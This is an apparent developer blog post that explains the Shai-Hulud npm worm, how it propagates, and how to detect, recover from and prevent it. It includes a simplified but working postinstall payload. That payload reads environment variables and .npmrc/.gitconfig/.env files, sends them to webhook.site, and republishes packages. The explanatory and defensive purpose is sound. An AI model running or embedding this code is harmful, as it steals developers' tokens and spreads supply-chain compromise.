Shai‑Hulud: The massive attack on npm that is shaking up the software supply chain

Introduction

In the world of frontend (and backend too), we are used to typing npm install without thinking twice. We add dependencies, copy commands from Stack Overflow, GitHub, or ChatGPT, and blindly trust that everything that comes from the npm ecosystem is safe by default.

But that trust has just taken a serious blow.

Over time, we have seen popular packages become infected, others published for malicious purposes, and even nearly identical copies of legitimate projects created. But in September 2025, the JavaScript community was rocked by the discovery of a large-scale attack compromising hundreds of legitimate npm packages. The culprit? Sophisticated, automated, self-expanding malware dubbed Shai‑Hulud.

What is Shai‑Hulud and how was it detected?

Shai‑Hulud is a software worm designed to spread automatically through the npm ecosystem. It was discovered by security researchers from multiple sources and officially confirmed by the CISA

The first warning sign was the detection of strange behavior in some popular packages: new versions with obfuscated code in the installation scripts (postinstall) and communications with suspicious external servers.

As the investigation progressed, it was discovered that more than 500 packages had been compromised, and more are still being discovered today. What was alarming was not only the scale, but the automated way in which the malware spread, infecting developers, stealing their authentication tokens, and then publishing new malicious versions of other packages.

Why is npm so vulnerable?

The Shai‑Hulud attack is not simply a story about a sophisticated virus. It is also clear evidence of the structural weaknesses of the npm ecosystem, including:

• Broad default permissions: many postinstall scripts run without restrictions, with access to the file system and network.

• Lack of automated review: npm allows new versions of packages to be published without automatic security validation.

• Over-reliance on maintainers: if a legitimate maintainer is compromised, there is nothing to prevent them from uploading malicious versions.

• Invisible transitive dependencies: many developers do not even know which indirect packages they are using.

How does Shai‑Hulud work?

1.Initial infection: A legitimate npm package is compromised (for example, by manipulating its version).

2.Local execution: A developer installs the compromised package, which contains a postinstall script that automatically executes malicious code in the local environment.

3.Malicious code execution: When someone installs the infected package, a script (postinstall) is executed that activates the worm.

4.Secret collection: The worm searches for authentication tokens .npmrc, .gitconfig, secrets in .env files, cloud configurations .aws, .azure, credentials SSH, GPG, and other secrets that the developer may have.

5.Secret exfiltration: The worm sends these stolen secrets to servers controlled by the attackers and publishes them to a public GitHub repository called Shai-Hulud under your own username.

6.Self-propagation: Using the stolen secrets, the worm identifies other packages that the compromised developer maintains or has publishing permissions for and automates the publication of a new malicious version of the package by modifying the package.json and bundle.js to include the same malicious code. This causes those packages to become infected as well.

7.Persistence: In some cases, the malicious code introduces GitHub Actions workflows, persistent scripts, or automation files that continue to operate in projects even after the initial infection. Some versions of the script use obfuscation techniques, misleading comments, and even emojis, suggesting the use of AI tools to generate variants that are more difficult to detect.

Basic code example:

// infected package.json
{
  "name": "my-clean-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node ./bundle.js"
  },
  "dependencies": {
    // normal dependencies
  }
}

//bundle.js (simplified malicious version)
const { execSync } = require("child_process");
const fs = require("fs");
const path = require("path");
const https = require("https");

function stealSecrets() {
  const secrets = {};
  // read environment variables
  secrets.env = process.env;
  // read common files where tokens may be found
  const candidates = [".npmrc", ".gitconfig", ".env"];
  for (const name of candidates) {
    try {
      const content = fs.readFileSync(path.join(process.cwd(), name), "utf8");
      secrets[name] = content;
    } catch (e) {
      // do nothing
    }
  }
  return secrets;
}

function exfiltrate(data) {
  const payload = Buffer.from(JSON.stringify(data)).toString("base64");
  const options = {
    hostname: "webhook.site", // malicious domain
    port: 443,
    path: "/abc123",
    method: "POST",
    headers: {
      "Content-Type": "application/json",
    },
  };
  const req = https.request(options, (res) => {});
  req.on("error", (err) => {});
  req.write(JSON.stringify({ d: payload }));
  req.end();
}
  
function tryRepublish() {
  // If it finds an npm token, it could try to publish
  try {
    execSync("npm version patch");
    execSync("npm publish --access public");
  } catch (e) {}
}

// main flow
(function main() {
  const secrets = stealSecrets();
  exfiltrate(secrets);
  tryRepublish();
})();

Malware detection and removal

How to tell if you've been infected:

1.Check your GitHub for a public repository called Shai-Hulud.

2.Check your logs for any suspicious postinstall runs.

3.Look for outgoing connections to domains such as webhook.site, pastebin.com, or other unexpected endpoints.

4.Check if your GitHub, npm, AWS, etc. tokens have been used recently.

5.Use tools such as npm audit, but remember that they do not detect all cases, as many compromised packages were “legitimate".

6.Automated recognition (A manual review is still recommended)

As a general rule, do not run scripts that you do not know what they do.

This script is the one we have used in the company and works by validating against hashes detected as malicious in package commits.

Script for automatic detection

What to do if you have been compromised:

• Revoke all access tokens (npm, GitHub, cloud).

• Change all your passwords and SSH keys.

• Scan your local system for persistent scripts.

• Remove any malicious versions of your own packages.

• Report any findings to npm and GitHub immediately.

How to prevent future attacks and more secure alternatives

Steps to protect your projects:

1.Use npm ci instead of npm install to ensure that only dependencies exactly as they are in package-lock.json are installed.

2.Remove the caret ^ from your installed dependencies.

3.Manually audit your dependencies, including transitive ones.

4.Enable multi-factor authentication (MFA) on all your npm and GitHub accounts.

5.Disable automatic installation scripts if you don't need them:

   npm install --ignore-scripts

Safer alternatives to npm?

Although npm is dominant, there are alternatives that prioritize security:

• pnpm: offers a stricter dependency management model and better isolation. It is also faster than npm.

• Sandpack: for sandboxed development environments.

Measures taken by GitHub

GitHub published an article explaining its plan to make the npm supply chain more secure. Among the most relevant changes are:

• Mandatory two-factor authentication for local publishing.

• Short-lived tokens (maximum 7 days) to reduce risks.

• Trusted Publishing based on OpenID Connect, eliminating the need for tokens when publishing from CI/CD.

• Elimination of legacy permissions and 2FA exceptions.

• Preference for FIDO physical keys over TOTP codes.

• Cryptographic validation of the published package's build environment.

These measures seek to minimize points of failure, increase transparency, and prevent stolen or forged tokens from being used to compromise npm's infrastructure. GitHub is proposing this long-term strategic change, driven by principles of least privilege and strong verification.

On the other hand, some strategies adopted by companies have been to block all outgoing traffic from their networks to malicious endpoints and to block the installation of affected library versions through systems such as jfrog or nexus.

Future

The Shai-Hulud attack is not just an isolated event; it is likely that we will face this same problem in the future, but under a different name. As developers, we have a responsibility to demand best practices, audit our code, and understand that every npm i can be a gateway into our infrastructure.

The software supply chain is now a primary attack vector. And npm, with all its convenience, is also a source of risk that we can no longer ignore.

Bibliography

CISA - Alerta oficial del 23/09/2025

GitHub

TRUESEC

OX

Black Duck